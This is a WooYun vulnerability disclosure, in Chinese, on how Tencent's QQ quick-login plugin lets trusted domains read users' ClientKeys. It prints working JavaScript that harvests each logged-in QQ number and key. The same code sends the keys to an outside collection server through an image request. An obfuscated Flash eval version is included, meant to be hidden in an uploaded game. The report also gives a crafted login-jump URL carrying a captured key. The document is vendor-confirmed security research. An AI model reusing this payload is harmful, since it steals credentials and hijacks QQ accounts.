当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194707

漏洞标题:看我如何用一条链接就能获取到你的QQClientKey

相关厂商:腾讯

漏洞作者: Fremy

提交时间:2016-04-10 18:41

修复时间:2016-07-10 15:00

公开时间:2016-07-10 15:00

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-10: 细节已通知厂商并且等待厂商处理中
2016-04-11: 厂商已经确认,细节仅向厂商公开
2016-04-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-06-05: 细节向核心白帽子及相关领域专家公开
2016-06-15: 细节向普通白帽子公开
2016-06-25: 细节向实习白帽子公开
2016-07-10: 细节向公众公开

简要描述:

这个本来是设计的问题,腾讯在设计快速登陆模块插件的时候允许太多可信域来使用这个插件来获取本机上QQ 的ClientKey ,可信域究竟多到什么程度呢?居然在可信域里面可以找到一个皇家赌场的站点...只要在插件上的可信站点找到一处XSS 即可利用,于是找到其中一处可信域上传flash 可以执行javascript 来实现ClientKey 的获取,只要flash 小游戏审核通过后还可以大规模盗取ClientKey ..

详细说明:

出现问题的插件在Chrome 浏览器下是默认导入的:

QQ截图20160410150607.jpg


在IE 中,该插件又会以Active 控件导入到浏览器中:

QQ截图20160410162632.jpg


接下来说说插件里面的可信域,登陆插件为了防止给其它站点恶意获取用户的敏感信息所以只给下面的域来访问:

QQ截图20160404235724.png


插件数据获取测试代码如下:

var user_information='';

if (navigator.mimeTypes['application/nptxsso']) { // Chrome
var plug=document.createElement('embed');
plug.type='application/nptxsso';
document.body.appendChild(plug);
plug.InitPVA();
for (var user_index=0,user_count=plug.GetPVACount();user_index<user_count;++user_index) {
user_information+='Chrome=>uin:'+plug.GetUin(user_index)+' key:'+plug.GetST(user_index)+';';
console.log('Chrome=>uin:'+plug.GetUin(user_index)+' key:'+plug.GetST(user_index));
}
} else { // IE
var plug=new ActiveXObject('SSOAxCtrlForPTLogin.SSOForPTLogin2');
var data=plug.CreateTXSSOData();
plug.InitSSOFPTCtrl(0,data);
var data_list=plug.DoOperation(1,data);
for (var user_list=data_list.GetArray('PTALIST'),user_index=0,user_count=plug.GetPVACount();user_index<user_count;++user_index) {
var user=user_list.GetData(user_index);
var client_key='';
for (var buffer=user.GetBuf('bufST_PTLOGIN'),read_index=0,read_count=user.GetSize();read_index<read_count;++read_index) {
var bit='0'+buffer.GetAt(read_index).toString('16');
client_key+=bit;
}
user_information+='IE=>uin:'+user.GetDWord('dwSSO_Account_dwAccountUin').toString()+' key:'+client_key+';';
console.log('IE=>uin:'+user.GetDWord('dwSSO_Account_dwAccountUin').toString()+' key:'+client_key);
}
}


在不可信的站点下执行,插件会抛出错误:

QQ截图20160410163445.jpg


在可信域里面执行可以获取到敏感信息:

QQ截图20160410163636.jpg


刚才说到,有个赌场的网站也在里面,这就给证明,站点http://**.**.**.**/ :

QQ截图20160410163941.jpg


然后在这些域里面找了很久没有找到XSS ,但是找到了**.**.**.** ,里面可以自己上传flash 游戏,而且还是默认启用javascript 接口(因为flash 需要调用后面的云js 接口交互,所以支持flash 执行javascript ),于是可以结合瘦子哥的flash XSS 的原理来执行javascript 代码获取用户敏感数据(http://**.**.**.**/bugs/wooyun-2010-016532)

QQ截图20160403234857.png


flash 运行javascript 的域:

QQ截图20160404132142.png


QQ截图20160404142221.png


有上面作为铺垫之后,在flash 里面写出下面的接收数据的代码
原来的javascript :

var user_information='';

if (navigator.mimeTypes['application/nptxsso']) { // Chrome
var plug=document.createElement('embed');
plug.type='application/nptxsso';
document.body.appendChild(plug);
plug.InitPVA();
for (var user_index=0,user_count=plug.GetPVACount();user_index<user_count;++user_index) {
user_information+='Chrome=>uin:'+plug.GetUin(user_index)+' key:'+plug.GetST(user_index)+';';
console.log('Chrome=>uin:'+plug.GetUin(user_index)+' key:'+plug.GetST(user_index));
}
} else { // IE
var plug=new ActiveXObject('SSOAxCtrlForPTLogin.SSOForPTLogin2');
var data=plug.CreateTXSSOData();
plug.InitSSOFPTCtrl(0,data);
var data_list=plug.DoOperation(1,data);
for (var user_list=data_list.GetArray('PTALIST'),user_index=0,user_count=plug.GetPVACount();user_index<user_count;++user_index) {
var user=user_list.GetData(user_index);
var client_key='';
for (var buffer=user.GetBuf('bufST_PTLOGIN'),read_index=0,read_count=user.GetSize();read_index<read_count;++read_index) {
var bit='0'+buffer.GetAt(read_index).toString('16');
client_key+=bit;
}
user_information+='IE=>uin:'+user.GetDWord('dwSSO_Account_dwAccountUin').toString()+' key:'+client_key+';';
console.log('IE=>uin:'+user.GetDWord('dwSSO_Account_dwAccountUin').toString()+' key:'+client_key);
}
}
var local_url=window.location.href;
var local_cookie=/*'Cookie:'+document.cookie+*/' ClientKey:'+user_information;
var local_ip='';//returnCitySN['cip'];
var id=1;
var url='http://**.**.**.**/XSS_Get_Cookie/receive.php?current_cookie='+local_cookie+'&manage_id='+id+'&current_url='+local_url+'&current_ip='+local_ip;
var img=document.createElement('img');
img.src=url;
document.body.appendChild(img);


加密转换为Action Script 之后:

ExternalInterface.call("eval","function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('2 9='';1h(I.H['w/t']){2 3=a.E('R');3.Q='w/t';a.A.D(3);3.U();g(2 4=0,b=3.k();4<b;++4){9+='C=>8:'+3.v(4)+' 7:'+3.F(4)+'\\n';o.m('C=>8:'+3.v(4)+' 7:'+3.F(4))}}T{2 3=M L('O.G');2 f=3.P();3.N(0,f);2 r=3.S(1,f);g(2 j=r.K('J'),4=0,b=3.k();4<b;++4){2 5=j.1b(4);2 d='';g(2 i=5.1c('1a'),6=0,l=5.18();6<l;++6){2 p='0'+i.19(6).e('16');d+=p};9+='s=>8:'+5.q('h').e()+' 7:'+d+'\\n';o.m('s=>8:'+5.q('h').e()+' 7:'+d)}};2 u=1d.1e.1f;2 z=' 17:'+9;2 y='';2 x=1;2 B='Z://X.V.W/10/14.15?13='+z+'&11='+x+'&12='+u+'&Y='+y;2 c=a.E('c');c.1g=B;a.A.D(c);',62,80,'||var|plug|user_index|user|read_index|key|uin|user_information|document|user_count|img|client_key|toString|data|for|dwSSO_Account_dwAccountUin|buffer|user_list|GetPVACount|read_count|log||console|bit|GetDWord|data_list|IE|nptxsso|local_url|GetUin|application|id|local_ip|local_cookie|body|url|Chrome|appendChild|createElement|GetST|SSOForPTLogin2|mimeTypes|navigator|PTALIST|GetArray|ActiveXObject|new|InitSSOFPTCtrl|SSOAxCtrlForPTLogin|CreateTXSSOData|type|embed|DoOperation|else|InitPVA|sinaapp|com|easysmsattack|current_ip|http|XSS_Get_Cookie|manage_id|current_url|current_cookie|receive|php||ClientKey|GetSize|GetAt|bufST_PTLOGIN|GetData|GetBuf|window|location|href|src|if'.split('|'),0,{});");


执行结果如下:

QQ截图20160404203627.png


然后到后台可以看到记录,Link:http://1.**.**.**.**/XSS_Get_Cookie/admin_cookie.php (麻烦打个码)

QQ截图20160410165412.jpg


如果这个flash 游戏可以经过审核(一个星期前传了个小游戏昨天才给审批,不过审核很容易的,flash 游戏代码所以百度都有很多,然后插恶意代码进去上传提交即可)的话那么玩这个小游戏的人都可以拿到他们的ClientKey (前提是浏览器里面有快速登陆插件)
使用flash 执行javascript 的代码有点盲目,那么如何构造链接来让对方点击呢?呆子哥的思路很好,在此借鉴一下(http://**.**.**.**/bugs/wooyun-2010-0155520),登陆QQ 空间的URL 格式如下:
https://**.**.**.**/jump?pt_clientver=5473&pt_src=1&keyindex=9&ptlang=2052&clientuin=QQ号&clientkey=ClientKey&u1=要跳转到的目的URL
以此为基础,构造出:

https://**.**.**.**/jump?pt_clientver=5473&pt_src=1&keyindex=9&ptlang=2052&clientuin=528572326&clientkey=0001570A16730068BCBAD391F63F0BF4EBB022EDA6E9C993A7D954EE027329EEF35D7DCB6C1E165F9E9B80E50D77B35AF3E367B33F1C7F4FFB2E780D62DF690EF813F4981E03699489DCD8BEF0D0F4247A050E0DEE3C272EC771838829F7D5A0C81A2A80E6C497FBD7E384F8DBF66801&u1=http%3A%2f%2fwww.**.**.**.**%2fflash%2fpreview_detail.shtml%3Fopengameid%3D32434%26height%3D420%26width%3D580


注意:可能在你访问的时候无法正常加载flash ,下面有解释..
然后发给别人来访问,测试结果:

QQ截图20160410140433.jpg


QQ截图20160410170450.jpg


QQ截图20160410171328.jpg


如果在测试中发现无法加载flash 有两个原因:1.由于现在ClientKey 不再是以前那样一条Key 任意登陆了,只有当客户端开启的时候才可以使用ClientKey ,如果关闭了的话就无法再使用了.因为**.**.**.** 的游戏测试flash 有限制,如果不是这个游戏的开发者没有办法在测试状态下去访问游戏的flash ,自然也就不能正常加载flash ,所以在复现漏洞的话建议写个小小的flash ,上传然后找到测试链接,再结合自己的QQ 号和ClientKey 填到登陆跳转URL 里面;2.有些主机的浏览器里面没有装这个插件,复现的时候注意看看navigator.mimeTypes['application/nptxsso'] 有没有存在

漏洞证明:

证明在上面,这里贴图

QQ截图20160404132142.png


QQ截图20160404142221.png


QQ截图20160404203627.png


QQ截图20160410172257.jpg


QQ截图20160410140433.jpg


QQ截图20160410170450.jpg


QQ截图20160410171328.jpg

修复方案:

版权声明:转载请注明来源 Fremy@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-11 14:53

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无